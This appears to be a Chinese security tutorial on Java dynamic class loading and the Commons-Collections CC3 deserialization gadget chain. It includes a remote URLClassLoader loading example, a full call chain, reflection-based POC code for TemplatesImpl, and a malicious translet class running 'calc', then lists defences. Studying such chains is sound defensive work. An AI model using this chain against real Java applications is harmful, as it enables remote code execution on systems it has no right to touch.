详解通过动态加载实现攻击的CC3和CC4
字数 1173 2025-08-26 22:11:57
Java动态加载与CC3/CC4攻击链分析
一、动态加载基础
1. 静态加载 vs 动态加载
- 静态加载:编译时刻加载类,如
new创建对象 - 动态加载:运行时刻加载类,如
Class.forName()
2. 类初始化机制
public class Person {
static {
System.out.println("静态代码块"); // 类初始化时执行
}
{
System.out.println("构造代码块"); // 每次实例化时执行
}
public static void staticAction() {
System.out.println("静态方法");
}
}
- 类初始化触发条件:
- 创建实例(new)
- 访问静态成员
Class.forName()默认会初始化Class.forName(name, initialize, loader)可控制是否初始化
3. ClassLoader核心方法
| 方法 | 描述 |
|---|---|
getParent() |
返回父类加载器 |
loadClass(String name) |
加载类,不初始化 |
findClass(String name) |
查找类 |
findLoadedClass(String name) |
查找已加载类 |
defineClass(String name, byte[] b, int off, int len) |
字节数组转Class对象 |
resolveClass(Class<?> c) |
链接类 |
二、动态加载攻击示例
1. URLClassLoader远程加载
URLClassLoader ul = new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = ul.loadClass("Test");
c.newInstance(); // 触发静态代码块
恶意类Test.java:
public class Test {
static {
Runtime.getRuntime().exec("calc");
}
}
2. 关键点
URLClassLoader可从远程加载类- 静态代码块在类初始化时执行
loadClass只加载不初始化,newInstance触发初始化
三、CC3攻击链分析
1. 调用链流程
ObjectInputStream.readObject()
→ AnnotationInvocationHandler.readObject()
→ Map(Proxy).entrySet()
→ AnnotationInvocationHandler.invoke()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ ConstantTransformer.transform()
→ InstantiateTransformer.transform()
→ newInstance()
→ TrAXFilter#TrAXFilter()
→ TemplatesImpl.newTransformer()
→ TemplatesImpl.getTransletInstance()
→ TemplatesImpl.defineTransletClasses()
→ newInstance()
→ Runtime.exec()
2. 关键类分析
TemplatesImpl
defineTransletClasses(): 使用内部类TransletClassLoader动态加载字节码getTransletInstance(): 调用defineTransletClasses并实例化类newTransformer(): 入口方法,调用getTransletInstance
3. POC分析
TemplatesImpl templates = new TemplatesImpl();
// 设置_name字段
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "evil");
// 设置_bytecodes字段
Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[][] codes = {evilBytecode};
bytecodesField.set(templates, codes);
// 设置_tfactory字段
Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 触发链
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
4. 恶意字节码类
public class EvilClass extends AbstractTranslet {
static {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
5. 触发条件
_name != null_class == null_bytecodes包含有效恶意类字节码_tfactory已设置
四、防御措施
- 禁止反序列化不可信数据
- 使用安全管理器限制
defineClass权限 - 更新commons-collections库
- 使用白名单校验反序列化类
五、总结
CC3攻击链利用动态加载机制,通过TemplatesImpl的defineTransletClasses方法加载恶意字节码,结合InstantiateTransformer触发初始化执行静态代码块。关键在于理解Java类加载机制和初始化时机,以及如何构造满足条件的恶意类。